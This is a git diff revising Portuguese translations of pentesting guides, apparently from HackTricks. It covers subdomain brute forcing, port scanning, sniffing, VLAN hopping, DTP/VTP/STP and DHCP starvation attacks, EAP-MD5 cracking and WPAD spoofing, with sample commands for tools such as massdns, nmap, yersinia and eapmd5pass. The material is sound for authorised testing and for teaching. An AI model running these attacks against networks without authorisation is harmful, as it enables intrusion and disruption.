E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
As ferramentas mais recomendadas para brute-force DNS são:
As ferramentas mais recomendadas para força bruta de DNS são:
- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou um brute-force DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou uma força bruta de DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta para subdomínios acoplado a um algoritmo guiado por resposta DNS imensamente simples, mas eficaz. Ele utiliza um conjunto de dados de entrada fornecido, como uma lista de palavras personalizada ou registros DNS/TLS históricos, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura DNS.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta para subdomínios combinado com um algoritmo guiado por resposta DNS imensamente simples, mas eficaz. Ele utiliza um conjunto de dados de entrada fornecido, como uma lista de palavras personalizada ou registros DNS/TLS históricos, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura DNS.
```
echo www | subzuf facebook.com
```
@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Hosts Virtuais**
Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com páginas nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
#### OSINT
@ -435,10 +435,10 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
#https://github.com/codingo/VHostScan
VHostScan -t example.com
```
> [!NOTE]
> [!DICA]
> Com esta técnica, você pode até conseguir acessar endpoints internos/ocultos.
### **CORS Brute Force**
### **Força Bruta de CORS**
Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nesses cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
```bash
@ -456,9 +456,9 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m
### **Procurando por vulnerabilidades**
Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Se o **subdomínio** estiver apontando para algum **S3 bucket**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste **livro algumas dicas para "atacá-los"**.\
_Observe que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
## IPs
@ -474,7 +474,7 @@ Você também pode verificar domínios apontando para um endereço IP específic
### **Procurando por vulnerabilidades**
**Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
**Faça uma varredura de portas em todos os IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
**Encontre um** [**guia**](../pentesting-network/index.html) **sobre como escanear hosts.**
@ -482,7 +482,7 @@ Você também pode verificar domínios apontando para um endereço IP específic
> Encontramos todas as empresas e seus ativos e sabemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver alguns **truques rápidos para procurar servidores web** dentro do escopo.
Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver algumas **dicas rápidas para procurar servidores web** dentro do escopo.
Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
@ -502,7 +502,7 @@ Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyebal
## Ativos de Nuvem Pública
Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoeda, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Você também precisará de listas de palavras de **palavras comuns usadas em buckets**:
@ -510,7 +510,7 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Brute-Force DNS**](#second-dns-bruteforce-round) para mais informações).
Então, com essas palavras, você deve gerar **permutations** (verifique o [**Second Round DNS Brute-Force**](#second-dns-bruteforce-round) para mais informações).
Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@ -531,7 +531,7 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem
### **Procurando vulnerabilidades**
Emails serão úteis mais tarde para **brute-force em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing.
Emails serão úteis mais tarde para **forçar logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing.
## Vazamentos de Credenciais
@ -542,7 +542,7 @@ Com os **domínios,** **subdomínios** e **emails**, você pode começar a procu
### **Procurando vulnerabilidades**
Se você encontrar credenciais **vazadas válidas**, isso é uma vitória muito fácil.
Se você encontrar credenciais **vazadas válidas**, essa é uma vitória muito fácil.
## Vazamentos de Segredos
@ -557,7 +557,7 @@ Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Lea
#### Dorks do Github
Verifique também esta **página** para potenciais **dorks do github** que você também poderia pesquisar na organização que está atacando:
Verifique também esta **página** para potenciais **dorks do github** que você também poderia procurar na organização que está atacando:
{{#ref}}
github-leaked-secrets.md
@ -570,17 +570,17 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
### Dorks do Google
Dorks do Google, embora antigos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
Dorks do Google antigos, mas valiosos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá bloquear você muito em breve._
_Nota que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá te bloquear muito em breve._
### **Procurando vulnerabilidades**
Se você encontrar credenciais ou tokens de API **vazados válidos**, isso é uma vitória muito fácil.
Se você encontrar credenciais ou tokens de API **vazados válidos**, essa é uma vitória muito fácil.
## Vulnerabilidades de Código Público
Se você descobrir que a empresa tem **código de código aberto**, você pode **analisá-lo** e procurar por **vulnerabilidades** nele.
Se você descobriu que a empresa tem **código de código aberto**, você pode **analisá-lo** e procurar por **vulnerabilidades** nele.
**Dependendo da linguagem**, existem diferentes **ferramentas** que você pode usar:
@ -616,7 +616,7 @@ Então você já:
## **Ferramentas Automáticas de Recon Completo**
Existem várias ferramentas por aí que realizarão parte das ações propostas contra um determinado escopo.
Existem várias ferramentas disponíveis que realizarão parte das ações propostas contra um determinado escopo.
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -625,6 +625,6 @@ Existem várias ferramentas por aí que realizarão parte das ações propostas
## **Referências**
- Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**A Metodologia do Caçador de Bugs v4.0 - Edição Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
- Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
{{#include ../../banners/hacktricks-training.md}}

50
src/generic-methodologies-and-resources/pentesting-network/README.md
View File

@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### Descoberta de Porta UDP
Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
Você também pode tentar verificar se alguma **porta UDP está aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -64,7 +64,7 @@ Se você estiver dentro da rede, uma das primeiras coisas que você vai querer f
### Passivo
Você pode usar essas ferramentas para descobrir hosts passivamente dentro de uma rede conectada:
Você pode usar essas ferramentas para descobrir passivamente hosts dentro de uma rede conectada:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
@ -170,12 +170,14 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### Evasão de IDS e IPS
{{#ref}}
ids-evasion.md
{{#endref}}
### **Mais opções do nmap**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
@ -192,7 +194,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
Com sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.
@ -202,7 +204,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a GUI em tempo real.
Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a interface gráfica em tempo real.
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -252,15 +254,15 @@ macof -i <interface>
```
Em switches modernos, essa vulnerabilidade foi corrigida.
### 802.1Q VLAN / Ataques DTP
### Ataques 802.1Q VLAN / DTP
#### Trunking Dinâmico
O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada.
Por padrão, as portas do switch são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN configurando interfaces virtuais.
Por padrão, as portas dos switches são configuradas para operar no modo Dynamic Auto, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN configurando interfaces virtuais.
A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Trunk, Dinâmico, Automático ou Acesso—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Default, Trunk, Dynamic, Auto ou Access—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
Caso uma vulnerabilidade de rede seja identificada, a ferramenta _**Yersinia**_ pode ser empregada para "habilitar trunking" via o protocolo DTP, permitindo a observação de pacotes de todas as VLANs.
```bash
@ -342,7 +344,7 @@ sendp(packet)
```
#### Bypass de Segmentação Lateral de VLAN <a href="#d679" id="d679"></a>
Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **burlar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
Se você tem **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs alvo e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,14 +352,14 @@ lateral-vlan-segmentation-bypass.md
#### Bypass de VLAN Privada de Camada 3
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para impedir que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para evitar que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à utilizada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
**Passos Chave do Ataque:**
1. **Elaboração de um Pacote:** Um pacote é especialmente elaborado para incluir o endereço IP do cliente alvo, mas com o endereço MAC do roteador.
2. **Exploração do Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
2. **Explorando o Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
### Ataques VTP
@ -366,7 +368,7 @@ O VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza númer
#### Funções do Domínio VTP
- **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Este papel é restrito de modificações de configurações de VLAN locais.
- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Este papel é restrito de modificações de configuração de VLAN local.
- **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
#### Tipos de Anúncios VTP
@ -387,7 +389,7 @@ No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP pa
**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
#### **STP BPDU DoS**
#### **DoS BPDU STP**
Enviando muitos BPDUs TCP (Notificação de Mudança de Topologia) ou Conf (os BPDUs que são enviados quando a topologia é criada), os switches ficam sobrecarregados e param de funcionar corretamente.
```bash
@ -444,11 +446,11 @@ Você também pode usar [**scapy**](https://github.com/secdev/scapy/). Certifiqu
Os telefones VoIP, cada vez mais integrados com dispositivos IoT, oferecem funcionalidades como desbloquear portas ou controlar termostatos através de números de telefone especiais. No entanto, essa integração pode apresentar riscos de segurança.
A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o VLAN ID da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
**VoIP Hopper** oferece três modos para o Protocolo de Descoberta Cisco (CDP):
1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o ID VLAN.
1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o VLAN ID.
2. **Modo Spoof** (`-c 1`): Gera pacotes personalizados imitando os de um dispositivo VoIP real.
3. **Modo Spoof com Pacote Pré-fabricado** (`-c 2`): Envia pacotes idênticos aos de um modelo específico de telefone IP Cisco.
@ -499,7 +501,7 @@ yersinia dhcp -attack 3 #More parameters are needed
```
Uma maneira mais automática de fazer isso é usando a ferramenta [DHCPing](https://github.com/kamorin/DHCPig)
Você pode usar os ataques de DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles se tornem não responsivos. Assim, quando os legítimos tentarem se reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**.
Você pode usar os ataques DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles se tornem não responsivos. Assim, quando os legítimos tentam se reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**.
#### Definir valores maliciosos
@ -528,12 +530,12 @@ Usando corretamente essas opções, um servidor DHCP malicioso pode ser estabele
Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:
- Moagem ativa de senhas por força bruta via EAP
- Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
- Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(explorações)
- Captura de mensagens EAP e quebra de senha offline (EAP-MD5 e PEAP)
- Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS
- Injetando tráfego de rede malicioso ao autenticar usando um hub ou similar
Se o atacante estiver entre a vítima e o servidor de autenticação, ele pode tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Então, ele poderia usar força bruta para isso:
Se o atacante estiver entre a vítima e o servidor de autenticação, ele pode tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Em seguida, ele pode usar força bruta para isso:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
@ -558,7 +560,7 @@ Observe que o RIPv2 suporta autenticação MD5, enquanto o RIPng não inclui aut
### EIGRP Attacks
**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injeta uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo.
**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injetar uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo.
Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIGRP legítimo**, o que abre muitas possibilidades, desde reconhecimento básico até várias injeções.
@ -568,7 +570,7 @@ Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIG
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Ele também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
### OSPF
@ -644,11 +646,11 @@ Leia aqui mais informações sobre [como se passar por serviços com Responder](
Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta deste servidor pelos clientes pode ocorrer através de vários mecanismos:
- Através do **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
- Através de **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
- Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
- Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso.
A ferramenta Responder aproveita esse protocolo atuando como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
A ferramenta Responder aproveita esse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como os serviços podem ser impersonados usando Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
@ -704,7 +706,7 @@ Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente
Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o exemplo de _**wwww.facebook.com**_ de antes não funcionará mais, pois _**facebook.com**_ usa HSTS com `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -770,11 +772,11 @@ Leve em consideração que quando um pacote UDP é enviado para um dispositivo q
### **Descoberta ARP**
Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo usados responderão.
Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo utilizados responderão.
### **mDNS (DNS multicast)**
Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services".
Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Então, ela apenas procura por máquinas que respondem a "services".
**Ferramentas**

75
src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Teoria Básica do IPv6
## Teoria básica do IPv6
### Redes
@ -10,17 +10,17 @@ Os endereços IPv6 são estruturados para melhorar a organização da rede e a i
1. **Prefixo da Rede**: Os primeiros 48 bits, que determinam o segmento da rede.
2. **ID da Sub-rede**: Os 16 bits seguintes, usados para definir sub-redes específicas dentro da rede.
3. **Identificador de Interface**: Os 64 bits finais, que identificam exclusivamente um dispositivo dentro da sub-rede.
3. **Identificador de Interface**: Os 64 bits finais, que identificam de forma única um dispositivo dentro da sub-rede.
Enquanto o IPv6 omite o protocolo ARP encontrado no IPv4, ele introduz o **ICMPv6** com duas mensagens principais:
- **Solicitação de Vizinhança (NS)**: Mensagens multicast para resolução de endereços.
- **Anúncio de Vizinhança (NA)**: Respostas unicast ao NS ou anúncios espontâneos.
O IPv6 também incorpora tipos especiais de endereços:
O IPv6 também incorpora tipos de endereços especiais:
